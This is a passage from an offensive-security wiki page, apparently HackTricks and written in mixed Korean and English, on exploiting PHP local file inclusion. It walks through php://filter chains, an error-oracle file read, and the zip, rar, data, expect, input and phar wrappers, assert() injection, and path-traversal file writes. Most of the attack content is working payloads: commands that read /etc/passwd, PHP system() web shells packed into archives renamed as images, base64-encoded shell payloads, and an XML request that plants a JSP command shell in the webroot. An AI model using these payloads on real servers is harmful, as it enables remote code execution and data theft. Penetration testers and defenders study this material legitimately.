  • convert.quoted-printable-decode
  • convert.iconv.* : ๋‹ค๋ฅธ ์ธ์ฝ”๋”ฉ์œผ๋กœ ๋ณ€ํ™˜ํ•ฉ๋‹ˆ๋‹ค(convert.iconv.<input_enc>.<output_enc>). ์ง€์›๋˜๋Š” ๋ชจ๋“  ์ธ์ฝ”๋”ฉ์˜ ๋ชฉ๋ก์„ ์–ป์œผ๋ ค๋ฉด ์ฝ˜์†”์—์„œ ๋‹ค์Œ์„ ์‹คํ–‰ํ•˜์„ธ์š”: iconv -l

Warning

Abusing the convert.iconv.* conversion filter you can generate arbitrary text, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: ์ฝ˜ํ…์ธ ๋ฅผ ์••์ถ•(๋งŽ์€ ์ •๋ณด๋ฅผ exfiltrateํ•  ๋•Œ ์œ ์šฉ)
  • zlib.inflate: ๋ฐ์ดํ„ฐ๋ฅผ ์••์ถ• ํ•ด์ œ
  • Encryption Filters
  • mcrypt.* : ์‚ฌ์šฉ ์ค‘๋‹จ๋จ
  • mdecrypt.* : ์‚ฌ์šฉ ์ค‘๋‹จ๋จ
  • Other Filters
  • php์—์„œ var_dump(stream_get_filters()); ๋ฅผ ์‹คํ–‰ํ•˜๋ฉด ๋ช‡ ๊ฐ€์ง€ ์˜ˆ์ƒ์น˜ ๋ชปํ•œ ํ•„ํ„ฐ๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
  • consumed
  • dechunk: HTTP chunked ์ธ์ฝ”๋”ฉ์„ ์—ญ๋ณ€ํ™˜
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,ยฃhellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Warning

โ€œphp://filterโ€ ๋ถ€๋ถ„์€ ๋Œ€์†Œ๋ฌธ์ž๋ฅผ ๊ตฌ๋ถ„ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค

php filters๋ฅผ oracle๋กœ ์‚ฌ์šฉํ•ด ์ž„์˜ ํŒŒ์ผ ์ฝ๊ธฐ

In this post ์—์„œ๋Š” ์„œ๋ฒ„์—์„œ ์ถœ๋ ฅ์ด ๋ฐ”๋กœ ๋ฐ˜ํ™˜๋˜์ง€ ์•Š์•„๋„ ๋กœ์ปฌ ํŒŒ์ผ์„ ์ฝ์„ ์ˆ˜ ์žˆ๋Š” ๊ธฐ๋ฒ•์„ ์ œ์•ˆํ•œ๋‹ค. ์ด ๊ธฐ๋ฒ•์€ boolean exfiltration of the file (char by char) using php filters ์„ oracle๋กœ ์‚ฌ์šฉํ•˜๋Š” ๋ฐฉ์‹์— ๊ธฐ๋ฐ˜ํ•œ๋‹ค. ์ด๋Š” php filters๊ฐ€ ํ…์ŠคํŠธ๋ฅผ ์ถฉ๋ถ„ํžˆ ํฌ๊ฒŒ ๋งŒ๋“ค์–ด php๊ฐ€ ์˜ˆ์™ธ๋ฅผ ๋ฐœ์ƒ์‹œํ‚ค๊ฒŒ ํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค.

์›๋ฌธ ํฌ์ŠคํŠธ์—์„œ ๊ธฐ๋ฒ•์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์„ค๋ช…์„ ์ฐพ์„ ์ˆ˜ ์žˆ์ง€๋งŒ, ์—ฌ๊ธฐ์„œ๋Š” ๊ฐ„๋‹จํ•œ ์š”์•ฝ์„ ์ œ๊ณตํ•œ๋‹ค:

  • ์ฝ”๋ฑ **UCS-4LE**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ…์ŠคํŠธ์˜ ์„ ๋‘ ๋ฌธ์ž๋ฅผ ์•ž์— ๋‚จ๊ธฐ๊ณ  ๋ฌธ์ž์—ด์˜ ํฌ๊ธฐ๊ฐ€ ๊ธฐํ•˜๊ธ‰์ˆ˜์ ์œผ๋กœ ์ฆ๊ฐ€ํ•˜๋„๋ก ํ•œ๋‹ค.
  • ์ด๋Š” ์ดˆ๊ธฐ ๋ฌธ์ž๊ฐ€ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ์ถ”์ •๋˜์—ˆ์„ ๋•Œ php๊ฐ€ ํŠธ๋ฆฌ๊ฑฐํ•  ๋งŒํผ ๋งค์šฐ ํฐ ํ…์ŠคํŠธ๋ฅผ ์ƒ์„ฑํ•˜๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉ๋œ๋‹ค(php๊ฐ€ ์˜ค๋ฅ˜๋ฅผ ๋ฐœ์ƒ).
  • dechunk ํ•„ํ„ฐ๋Š” ์ฒซ ๋ฌธ์ž๊ฐ€ hexadecimal์ด ์•„๋‹ˆ๋ฉด ๋ชจ๋“  ๊ฒƒ์„ ์ œ๊ฑฐํ•˜๋ฏ€๋กœ, ์ฒซ ๋ฌธ์ž๊ฐ€ hex์ธ์ง€ ์—ฌ๋ถ€๋ฅผ ์•Œ ์ˆ˜ ์žˆ๋‹ค.
  • ์•ž์˜ ๊ฒƒ๊ณผ ๊ฒฐํ•ฉํ•˜๋ฉด(๋ฐ ์ถ”์ •ํ•œ ๋ฌธ์ž์— ๋”ฐ๋ผ ๋‹ค๋ฅธ ํ•„ํ„ฐ๋“ค๊ณผ ํ•จ๊ป˜) ์ถฉ๋ถ„ํ•œ ๋ณ€ํ™˜์„ ์ˆ˜ํ–‰ํ–ˆ์„ ๋•Œ ํ•ด๋‹น ๋ฌธ์ž๊ฐ€ ๋” ์ด์ƒ hexadecimal ๋ฌธ์ž๊ฐ€ ๋˜์ง€ ์•Š๋Š” ์‹œ์ ์„ ๋ณด๊ณ  ํ…์ŠคํŠธ์˜ ์ฒซ ๊ธ€์ž๋ฅผ ์ถ”์ธกํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋œ๋‹ค. ๋งŒ์•ฝ hex์ด๋ฉด dechunk๊ฐ€ ์‚ญ์ œํ•˜์ง€ ์•Š๊ณ  ์ดˆ๊ธฐ ํญํƒ„(initial bomb)์ด php ์˜ค๋ฅ˜๋ฅผ ๋ฐœ์ƒ์‹œํ‚จ๋‹ค.
  • ์ฝ”๋ฑ convert.iconv.UNICODE.CP930์€ ๋ชจ๋“  ๋ฌธ์ž๋ฅผ ๋‹ค์Œ ๋ฌธ์ž๋กœ ๋ณ€ํ™˜ํ•œ๋‹ค(์˜ˆ: ์ด ์ฝ”๋ฑ ์ ์šฉ ํ›„: a -> b). ๋”ฐ๋ผ์„œ ์˜ˆ๋ฅผ ๋“ค์–ด ์ฒซ ๋ฌธ์ž๊ฐ€ a์ธ์ง€ ์•Œ์•„๋‚ด๋ ค๋ฉด ์ด ์ฝ”๋ฑ์„ 6๋ฒˆ ์ ์šฉํ•˜๋ฉด a->b->c->d->e->f->g ๋˜์–ด ํ•ด๋‹น ๋ฌธ์ž๊ฐ€ ๋” ์ด์ƒ hexadecimal ๋ฌธ์ž๊ฐ€ ์•„๋‹ˆ๊ฒŒ ๋˜๊ณ , ๋”ฐ๋ผ์„œ dechunk๊ฐ€ ์‚ญ์ œํ•˜์ง€ ์•Š์•„ php ์˜ค๋ฅ˜๊ฐ€ ์ดˆ๊ธฐ ํญํƒ„๊ณผ ๊ฒฐํ•ฉํ•ด ํŠธ๋ฆฌ๊ฑฐ๋œ๋‹ค.
  • ์ฒ˜์Œ์— rot13 ๊ฐ™์€ ๋ณ€ํ™˜์„ ์ ์šฉํ•˜๋ฉด n, o, p, q, r ๊ฐ™์€ ๋‹ค๋ฅธ ๋ฌธ์ž๋ฅผ leakํ•  ์ˆ˜ ์žˆ๋‹ค(๊ทธ๋ฆฌ๊ณ  ๋‹ค๋ฅธ codecs๋ฅผ ์‚ฌ์šฉํ•ด ๋‹ค๋ฅธ ๋ฌธ์ž๋“ค์„ hex ๋ฒ”์œ„๋กœ ์ด๋™์‹œํ‚ฌ ์ˆ˜ ์žˆ๋‹ค).
  • ์ดˆ๊ธฐ ๋ฌธ์ž๊ฐ€ ์ˆซ์ž์ธ ๊ฒฝ์šฐ์—๋Š” base64๋กœ ์ธ์ฝ”๋”ฉํ•˜๊ณ  ์ฒ˜์Œ ๋‘ ๊ธ€์ž๋ฅผ leakํ•ด์„œ ์ˆซ์ž๋ฅผ leakํ•ด์•ผ ํ•œ๋‹ค.
  • ์ตœ์ข… ๋ฌธ์ œ๋Š” ์ดˆ๊ธฐ ๋ฌธ์ž๋ณด๋‹ค ๋” ๋งŽ์€ ๊ฒƒ์„ leakํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์ฐพ๋Š” ๊ฒƒ์ด๋‹ค. ์ˆœ์„œ ๋ณ€๊ฒฝ memory filters๋“ค์ธ convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE ๋“ฑ์„ ์‚ฌ์šฉํ•˜๋ฉด ๋ฌธ์ž๋“ค์˜ ์ˆœ์„œ๋ฅผ ๋ณ€๊ฒฝํ•˜์—ฌ ํ…์ŠคํŠธ์˜ ๋‹ค๋ฅธ ๋ฌธ์ž๋ฅผ ์ฒซ ์œ„์น˜๋กœ ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์žˆ๋‹ค.
  • ๊ทธ๋ฆฌ๊ณ  ๋” ๋งŽ์€ ๋ฐ์ดํ„ฐ๋ฅผ ์–ป๊ธฐ ์œ„ํ•ด ์•„์ด๋””์–ด๋Š” convert.iconv.UTF16.UTF16์œผ๋กœ ์‹œ์ž‘ ๋ถ€๋ถ„์— 2 bytes of junk data๋ฅผ ์ƒ์„ฑํ•˜๊ณ , UCS-4LE๋ฅผ ์ ์šฉํ•ด ๊ทธ๊ฒƒ์ด ๋‹ค์Œ 2๋ฐ”์ดํŠธ์™€ pivotํ•˜๊ฒŒ ๋งŒ๋“  ๋‹ค์Œ, and delete the data until the junk data (์ด๊ฒƒ์€ ์ดˆ๊ธฐ ํ…์ŠคํŠธ์˜ ์ฒซ 2๋ฐ”์ดํŠธ๋ฅผ ์ œ๊ฑฐํ•œ๋‹ค). ์›ํ•˜๋Š” ๋น„ํŠธ๋ฅผ leakํ•  ๋•Œ๊นŒ์ง€ ์ด ๊ณผ์ •์„ ๋ฐ˜๋ณตํ•œ๋‹ค.

In the post a tool to perform this automatically was also leaked: php_filters_chain_oracle_exploit.

php://fd

์ด wrapper๋Š” ํ”„๋กœ์„ธ์Šค๊ฐ€ ์—ด์–ด๋‘” file descriptor์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค€๋‹ค. ์—ด๋ฆฐ ํŒŒ์ผ์˜ ๋‚ด์šฉ์„ exfiltrateํ•˜๋Š” ๋ฐ ์ž ์žฌ์ ์œผ๋กœ ์œ ์šฉํ•˜๋‹ค:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

๋˜ํ•œ php://stdin, php://stdout and php://stderr ๋ฅผ ์‚ฌ์šฉํ•ด ๊ฐ๊ฐ file descriptors 0, 1 and 2์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(๊ณต๊ฒฉ์—์„œ ์–ด๋–ป๊ฒŒ ์œ ์šฉํ• ์ง€๋Š” ์ž˜ ๋ชจ๋ฅด๊ฒ ์Šต๋‹ˆ๋‹ค)

zip:// and rar://

PHPShell์ด ๋“ค์–ด์žˆ๋Š” Zip ๋˜๋Š” Rar ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•˜๊ณ  ์ ‘๊ทผํ•ฉ๋‹ˆ๋‹ค.
rar protocol์„ ์•…์šฉํ•˜๋ ค๋ฉด ๋ณ„๋„๋กœ ํ™œ์„ฑํ™”๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

์ด ํ”„๋กœํ† ์ฝœ์€ php ์„ค์ • allow_url_open ๋ฐ **allow_url_include**์— ์˜ํ•ด ์ œํ•œ๋œ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”.

expect://

Expect๋Š” ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๋‹ค์Œ์„ ์‚ฌ์šฉํ•ด ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

POST ํŒŒ๋ผ๋ฏธํ„ฐ์— payload๋ฅผ ์ง€์ •ํ•˜์„ธ์š”:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ํŒŒ์ผ ๋กœ๋“œ๋ฅผ ์œ„ํ•ด include ๊ฐ™์€ ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•  ๋•Œ .phar ํŒŒ์ผ์„ ์ด์šฉํ•ด PHP ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์•„๋ž˜ PHP ์ฝ”๋“œ ์Šค๋‹ˆํŽซ์€ .phar ํŒŒ์ผ์„ ์ƒ์„ฑํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

.phar ํŒŒ์ผ์„ ์ปดํŒŒ์ผํ•˜๋ ค๋ฉด, ๋‹ค์Œ ๋ช…๋ น์„ ์‹คํ–‰ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

php --define phar.readonly=0 create_path.php

์‹คํ–‰ํ•˜๋ฉด test.phar๋ผ๋Š” ํŒŒ์ผ์ด ์ƒ์„ฑ๋˜๋ฉฐ, ์ด๋Š” Local File Inclusion (LFI) ์ทจ์•ฝ์ ์„ ์ด์šฉํ•˜๋Š” ๋ฐ ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

LFI๊ฐ€ ๋‚ด๋ถ€์˜ PHP ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜์ง€ ์•Š๊ณ  file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), ๋˜๋Š” filesize() ๊ฐ™์€ ํ•จ์ˆ˜๋กœ ํŒŒ์ผ ์ฝ๊ธฐ๋งŒ ์ˆ˜ํ–‰ํ•˜๋Š” ๊ฒฝ์šฐ, phar ํ”„๋กœํ† ์ฝœ์„ ์ด์šฉํ•œ ํŒŒ์ผ ์ฝ๊ธฐ์™€ ์—ฐ๊ด€๋œ deserialization vulnerability๋ฅผ ์‹œ๋„ํ•ด๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ž์„ธํ•œ ๋‚ด์šฉ์„ ๋ณด๋ ค๋ฉด ์•„๋ž˜ ๋ฌธ์„œ๋ฅผ ์ฐธ์กฐํ•˜์„ธ์š”:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

PHP์—์„œ php filters๋ฅผ ์ง€์›ํ•˜๋Š” any arbitrary file read from PHP that supports php filters๋ฅผ ์•…์šฉํ•˜์—ฌ RCE๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. The detailed description can be found in this post.
๋งค์šฐ ๊ฐ„๋‹จํ•œ ์š”์•ฝ: PHP ํž™์˜ 3 byte overflow๋ฅผ ์•…์šฉํ•ด ํŠน์ • ํฌ๊ธฐ์˜ free chunk ์ฒด์ธ์„ alter the chain of free chunksํ•˜๋„๋ก ์กฐ์ž‘ํ•˜์—ฌ ์ž„์˜์˜ ์ฃผ์†Œ์— write anything in any address๊ฐ€ ๊ฐ€๋Šฅํ•ด์กŒ๊ณ , ๊ทธ ๊ฒฐ๊ณผ **system**์„ ํ˜ธ์ถœํ•˜๋Š” ํ›…์ด ์ถ”๊ฐ€๋˜์—ˆ์Šต๋‹ˆ๋‹ค.
์ถ”๊ฐ€์ ์ธ php filters๋ฅผ ์•…์šฉํ•ด ํŠน์ • ํฌ๊ธฐ์˜ chunk๋ฅผ allocํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ–ˆ์Šต๋‹ˆ๋‹ค.

More protocols

Check more possible protocols to include here:

  • php://memory and php://temp โ€” ๋ฉ”๋ชจ๋ฆฌ๋‚˜ ์ž„์‹œ ํŒŒ์ผ์— ์“ฐ๊ธฐ(ํŒŒ์ผ ํฌํ•จ ๊ณต๊ฒฉ์—์„œ ์–ด๋–ป๊ฒŒ ์œ ์šฉํ• ์ง€๋Š” ์ž˜ ๋ชจ๋ฅด๊ฒ ์Œ)
  • file:// โ€” ๋กœ์ปฌ ํŒŒ์ผ์‹œ์Šคํ…œ ์ ‘๊ทผ
  • http:// โ€” HTTP(s) URL ์ ‘๊ทผ
  • ftp:// โ€” FTP(s) URL ์ ‘๊ทผ
  • zlib:// โ€” ์••์ถ• ์ŠคํŠธ๋ฆผ
  • glob:// โ€” ํŒจํ„ด๊ณผ ์ผ์น˜ํ•˜๋Š” ๊ฒฝ๋กœ๋ช… ์ฐพ๊ธฐ(์ถœ๋ ฅ ๊ฐ€๋Šฅํ•œ ๋‚ด์šฉ์„ ๋ฐ˜ํ™˜ํ•˜์ง€ ์•Š์œผ๋ฏ€๋กœ ์—ฌ๊ธฐ์„œ๋Š” ๋ณ„๋กœ ์œ ์šฉํ•˜์ง€ ์•Š์Œ)
  • ssh2:// โ€” Secure Shell 2
  • ogg:// โ€” ์˜ค๋””์˜ค ์ŠคํŠธ๋ฆผ(์ž„์˜์˜ ํŒŒ์ผ์„ ์ฝ๋Š” ๋ฐ๋Š” ์œ ์šฉํ•˜์ง€ ์•Š์Œ)

LFI via PHPโ€™s โ€˜assertโ€™

PHP์—์„œ ๋ฌธ์ž์—ด ๋‚ด ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” โ€˜assertโ€™ ํ•จ์ˆ˜๋ฅผ ๋‹ค๋ฃฐ ๋•Œ Local File Inclusion (LFI)์˜ ์œ„ํ—˜์ด ํŠนํžˆ ํฝ๋‹ˆ๋‹ค. ์ž…๋ ฅ๊ฐ’์— โ€œ..โ€ ๊ฐ™์€ directory traversal ๋ฌธ์ž๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ๋Š”์ง€ ๊ฒ€์‚ฌํ•˜์ง€๋งŒ ์ œ๋Œ€๋กœ ์ •ํ™”(sanitize)ํ•˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ ํŠนํžˆ ๋ฌธ์ œ๊ฐ€ ๋ฉ๋‹ˆ๋‹ค.

์˜ˆ๋ฅผ ๋“ค์–ด, PHP ์ฝ”๋“œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด directory traversal์„ ๋ฐฉ์ง€ํ•˜๋„๋ก ์„ค๊ณ„๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

assert("strpos('$file', '..') === false") or die("");

์ด๊ฒƒ์ด traversal์„ ์ฐจ๋‹จํ•˜๋ ค๋Š” ๋ชฉ์ ์ด์ง€๋งŒ, ์˜๋„์น˜ ์•Š๊ฒŒ code injection์„ ์œ„ํ•œ ๋ฒกํ„ฐ๋ฅผ ๋งŒ๋“ญ๋‹ˆ๋‹ค. ํŒŒ์ผ ๋‚ด์šฉ์„ ์ฝ๊ธฐ ์œ„ํ•ด ์ด๋ฅผ ์•…์šฉํ•˜๋ ค๋ฉด ๊ณต๊ฒฉ์ž๋Š” ๋‹ค์Œ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

' and die(highlight_file('/etc/passwd')) or '

๋งˆ์ฐฌ๊ฐ€์ง€๋กœ, ์ž„์˜์˜ ์‹œ์Šคํ…œ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค:

' and die(system("id")) or '

Itโ€™s important to URL-encode these payloads.

PHP Blind Path Traversal

Warning

์ด ๊ธฐ์ˆ ์€ ๋‹น์‹ ์ด PHP ํ•จ์ˆ˜์˜ ํŒŒ์ผ ๊ฒฝ๋กœ๋ฅผ ์ œ์–ดํ•˜์ง€๋งŒ ํ•ด๋‹น ํŒŒ์ผ์˜ ๋‚ด์šฉ์„ ๋ณผ ์ˆ˜ ์—†๋Š” ๊ฒฝ์šฐ(์˜ˆ: ๋‹จ์ˆœํ•œ ํ˜ธ์ถœ **file()**์ฒ˜๋Ÿผ ํŒŒ์ผ์— ์ ‘๊ทผํ•˜์ง€๋งŒ ๋‚ด์šฉ์ด ํ‘œ์‹œ๋˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ)์— ๊ด€๋ จ์ด ์žˆ์Šต๋‹ˆ๋‹ค.

In this incredible post itโ€™s explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.

์š”์•ฝํ•˜๋ฉด, ์ด ๊ธฐ๋ฒ•์€ ํŒŒ์ผ ๋‚ด์šฉ์„ ๋งค์šฐ ํฐ ํฌ๊ธฐ๋กœ ๋งŒ๋“ค๊ธฐ ์œ„ํ•ด โ€œUCS-4LEโ€ encoding์„ ์‚ฌ์šฉํ•˜์—ฌ ํŒŒ์ผ์„ ์—ฌ๋Š” PHP ํ•จ์ˆ˜๊ฐ€ error๋ฅผ ๋ฐœ์ƒ์‹œํ‚ค๋„๋ก ํ•ฉ๋‹ˆ๋‹ค.

๊ทธ ๋‹ค์Œ ์ฒซ ๊ธ€์ž๋ฅผ leakํ•˜๊ธฐ ์œ„ํ•ด ํ•„ํ„ฐ dechunk ๋ฅผ base64 ๋˜๋Š” rot13 ๊ฐ™์€ ๋‹ค๋ฅธ ํ•„ํ„ฐ๋“ค๊ณผ ํ•จ๊ป˜ ์‚ฌ์šฉํ•˜๊ณ , ๋งˆ์ง€๋ง‰์œผ๋กœ ํ•„ํ„ฐ convert.iconv.UCS-4.UCS-4LE ๋ฐ convert.iconv.UTF16.UTF-16BE ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ฌธ์ž๋“ค์„ ๋งจ ์•ž์— ๋ฐฐ์น˜ํ•˜๊ณ  leak ํ•ฉ๋‹ˆ๋‹ค.

์ทจ์•ฝํ•  ์ˆ˜ ์žˆ๋Š” ํ•จ์ˆ˜๋“ค: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

๊ธฐ์ˆ ์ ์ธ ์„ธ๋ถ€์‚ฌํ•ญ์€ ์•ž์„œ ์–ธ๊ธ‰ํ•œ ํฌ์ŠคํŠธ๋ฅผ ํ™•์ธํ•˜์„ธ์š”!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

ํŒŒ์ผ์„ ์ˆ˜์‹ /์—…๋กœ๋“œํ•˜๋Š” ์„œ๋ฒ„์ธก ์ฝ”๋“œ๊ฐ€ ๋ชฉ์ ์ง€ ๊ฒฝ๋กœ๋ฅผ ์‚ฌ์šฉ์ž ์ œ์–ด ๋ฐ์ดํ„ฐ(์˜ˆ: ํŒŒ์ผ๋ช… ๋˜๋Š” URL)๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ canonicalising ๋ฐ ๊ฒ€์ฆ ์—†์ด ๊ตฌ์„ฑํ•˜๋ฉด, .. ์„ธ๊ทธ๋จผํŠธ์™€ ์ ˆ๋Œ€ ๊ฒฝ๋กœ๋กœ ์˜๋„๋œ ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ๋ฒ—์–ด๋‚˜ ์ž„์˜ ํŒŒ์ผ ์“ฐ๊ธฐ๊ฐ€ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.

Typical exploitation workflow:

  • ์—”๋“œํฌ์ธํŠธ ๋˜๋Š” ๋ฐฑ๊ทธ๋ผ์šด๋“œ ์›Œ์ปค์—์„œ ๊ฒฝ๋กœ/ํŒŒ์ผ๋ช…์„ ๋ฐ›์•„ ๋””์Šคํฌ์— ๋‚ด์šฉ์„ ๊ธฐ๋กํ•˜๋Š” write primitive๋ฅผ ์‹๋ณ„ํ•ฉ๋‹ˆ๋‹ค (์˜ˆ: message-driven ingestion, XML/JSON command handlers, ZIP extractors ๋“ฑ).
  • Determine web-exposed directories. Common examples:
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ โ†’ drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ โ†’ drop shell.aspx
  • ์˜๋„๋œ ์ €์žฅ ๋””๋ ‰ํ„ฐ๋ฆฌ์—์„œ webroot๋กœ ๋น ์ ธ๋‚˜์˜ค๋„๋ก ํ•˜๋Š” traversal ๊ฒฝ๋กœ๋ฅผ ๊ตฌ์„ฑํ•˜๊ณ  webshell ๋‚ด์šฉ์„ ํฌํ•จ์‹œํ‚ต๋‹ˆ๋‹ค.
  • ์—…๋กœ๋“œ๋œ payload์— ์ ‘์†ํ•ด ๋ช…๋ น์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.

Notes:

  • ์“ฐ๊ธฐ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•˜๋Š” ์ทจ์•ฝ ์„œ๋น„์Šค๋Š” ๋น„-HTTP ํฌํŠธ์—์„œ ๋ฆฌ์Šค๋‹ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(์˜ˆ: TCP 4004์˜ JMF XML listener). ๋ฉ”์ธ ์›น ํฌํ„ธ(๋‹ค๋ฅธ ํฌํŠธ)์€ ๋‚˜์ค‘์— ๋‹น์‹ ์˜ payload๋ฅผ ์ œ๊ณตํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค.
  • Java ์Šคํƒ์—์„œ๋Š” ์ด๋Ÿฌํ•œ ํŒŒ์ผ ์“ฐ๊ธฐ๊ฐ€ ๋ณดํ†ต ๊ฐ„๋‹จํ•œ File/Paths ์—ฐ๊ฒฐ๋กœ ๊ตฌํ˜„๋ฉ๋‹ˆ๋‹ค. ์ •๊ทœํ™”(canonicalisation) ๋ฐ ํ—ˆ์šฉ ๋ชฉ๋ก(allow-listing)์˜ ๋ถ€์žฌ๊ฐ€ ํ•ต์‹ฌ ๊ฒฐํ•จ์ž…๋‹ˆ๋‹ค.

Generic XML/JMF-style example (product schemas vary โ€“ the DOCTYPE/body wrapper is irrelevant for the traversal):

<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

